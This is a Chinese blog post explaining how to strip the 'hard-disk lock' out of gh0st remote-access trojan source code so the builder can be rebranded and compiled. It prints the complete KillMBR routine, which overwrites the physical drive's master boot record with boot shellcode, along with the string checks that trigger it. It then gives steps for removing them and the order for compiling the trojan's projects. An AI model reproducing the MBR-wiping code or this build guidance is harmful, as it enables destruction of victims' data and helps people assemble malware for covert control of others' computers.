gh0st去硬盘锁

这几天闲来无事,下载了个 gh0st 源码,由于刚开始没有仔细看是否去了硬盘锁,差点整个硬盘都费了。

gh0st硬盘锁是源码的作者为了保护版权而设置的,如果我们直接更改版权会造成硬盘被锁,中了硬盘锁的后果是非常严重的,特别是你电脑里有重要数据的时候,这样会导致你电脑里的数据全部丢失!
如果你没去硬盘锁,又改了版权,那么打开gh0st控制端后会一闪就关闭了,这样就是中硬盘锁了,中了硬盘锁之后将不能重装系统,只能重新对硬盘进行分区。

gh0st去硬盘锁其实很简单,主要分为以下几部:

1ghost.cpp文件中注释或删除以下代码(可以搜索这段代码unsignedcharscode[]=

/*
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int CGh0stApp::KillMBR()
{
	HANDLE hDevice;
	DWORD dwBytesWritten, dwBytesReturned;
	BYTE pMBR[512] = {0};
	
	// 重新构造MBR
	memcpy(pMBR, scode, sizeof(scode) - 1);
	pMBR[510] = 0x55;
	pMBR[511] = 0xAA;
	
	hDevice = CreateFile
		(
		"\\\\.\\PHYSICALDRIVE0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL
		);
	if (hDevice == INVALID_HANDLE_VALUE)
		return -1;
	DeviceIoControl
		(
		hDevice, 
		FSCTL_LOCK_VOLUME, 
		NULL, 
		0, 
		NULL, 
		0, 
		&dwBytesReturned, 
		NULL
		);
	// 写入病毒内容
	WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
	DeviceIoControl
		(
		hDevice, 
		FSCTL_UNLOCK_VOLUME, 
		NULL, 
		0, 
		NULL, 
		0, 
		&dwBytesReturned, 
		NULL
		);
	CloseHandle(hDevice);

	ExitProcess(-1);
	return 0;
}
*/


2BuildView.cpp文件中注释或删除以下代码

	/*
		char	strVer[10];
		char	strTitle[10];

		strVer[0] = 'C';
		strVer[1] = '.';
		strVer[2] = 'R';
		strVer[3] = 'u';
		strVer[4] = 'f';
		strVer[5] = 'u';
		strVer[6] = 's';
		strVer[7] = ' ';
		strVer[8] = 'S';
		strVer[9] = '\0';

		strTitle[0] = 'G';
		strTitle[1] = 'h';
		strTitle[2] = '0';
		strTitle[3] = 's';
		strTitle[4] = 't';
		strTitle[5] = ' ';
		strTitle[6] = 'R';
		strTitle[7] = 'A';
		strTitle[8] = 'T';
		strTitle[9] = '\0';

		CString str;
		GetDlgItemText(IDC_STATIC_VER, str);
		if (str.Find(strVer) == -1)
			((CGh0stApp *)AfxGetApp())->KillMBR();

		GetParent()->GetWindowText(str);
		if (str.Find(strTitle) == -1)
			((CGh0stApp *)AfxGetApp())->KillMBR();
		*/


3ghost.h文件中注释或删除以下代码

//int KillMBR();


即注释或删除出现KillMBR4处。

编译顺序从下往上依次编译,即先svchostfiles工程,然后installfiles工程,最后ghostfiles工程

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值